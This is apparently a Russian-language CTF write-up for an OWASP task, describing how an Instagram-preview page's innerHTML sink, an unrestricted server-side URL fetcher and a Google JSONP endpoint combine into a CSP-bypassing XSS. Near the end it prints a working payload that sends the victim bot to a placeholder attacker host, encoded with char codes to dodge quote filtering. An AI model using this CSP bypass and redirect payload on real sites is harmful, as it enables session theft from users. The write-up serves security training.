Skip to content

Latest commit

 

History

History
80 lines (57 loc) · 3.82 KB

File metadata and controls

80 lines (57 loc) · 3.82 KB

Cherkasy (19.owaspctf.gq)

На главной странице видим 2 формы для ввода URL. Первая (верхняя) показывает на примере https://www.instagram.com/p/BtEHP5AgOli/ как достается картинка и описание из инстаграма и выводится на текущую страницу.

Вторая форма для отправки нашей ссылки (судя по всему XSS bot'у).


http://19.owaspctf.gq/script.js

Весь функционал работает на клиентской стороне, делается ajax-запрос к инстаграму и парсят html страницу. А именно ищутся теги <meta> с соответствующими атрибутами:

property=og:description
property=og:image
property=og:video

Интересным является процесс обработки description:

function createDescription(data){
  // create info
  var info = document.createElement('p');
  info.innerHTML = data.content;
  render.appendChild(info); // append link

};

То есть содержимое атрибута content попадает в DOM нашей страницы. Но есть несколько нюансов:

  • Инстаграм html-кодирует спецсимволы в описании к картинке
  • Инстаграм обрезает описание в теге <meta> если оно слишком большое по длине.
  • CSP

Внимательней посмотрев на главную страницу можно так же заметить следующий тег:

<noscript><meta http-equiv="refresh" content="0; url=jsdisabled.php" /></noscript>

jsdisabled.php выглядит точной копией главной страницы, но поработав с ним можно обнаружить что ему напрямую можно передать GET параметр url, и по переданной ссылке скрипт ходит сам (а не client-side как это на главной странице).

Это значит что теперь мы не ограничены только инстграмом и можем передать произвольную ссылку по которой точно так же будут парсится и выводится теги.

Так же и CSP тут немного отличается:

default-src 'self' data: *.instagram.com;
script-src 'self' *.instagram.com *.google.com https://www.gstatic.com/recaptcha/ api.mixpanel.com;
style-src 'self';
img-src * data:;
media-src *;
frame-src *.instagram.com *.google.com/recaptcha/

Немного погуглив можно найти следующий endpoint на www.google.com который подходит для обхода CSP (script-src *.google.com):

$ curl --silent 'http://www.google.com/complete/search?client=chrome&jsonp=alert(1);//'
alert(1);//(["",[],[],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:suggesttype":[],"google:verbatimrelevance":851}])

В параметре jsonp нельзя использовать кавычки, так что необходимо строку с URL на сниффер заенкодировать

http://[ATTACKER]/? -> String.fromCharCode.apply(null,[0x68,0x74,0x74,0x70,0x3a,0x2f,0x2f,0x5b,0x41,0x54,0x54,0x41,0x43,0x4b,0x45,0x52,0x5d,0x2f,0x3f])

http://[ATTACKER]/poc.html:

<meta property="og:description" content="<script src='//www.google.com/complete/search?client=chrome&jsonp=window.location=(String.fromCharCode.apply(null,[0x68,0x74,0x74,0x70,0x3a,0x2f,0x2f,0x5b,0x41,0x54,0x54,0x41,0x43,0x4b,0x45,0x52,0x5d,0x2f,0x3f]));//'></script>">

FLAG{Home_is_where_my_cat_is}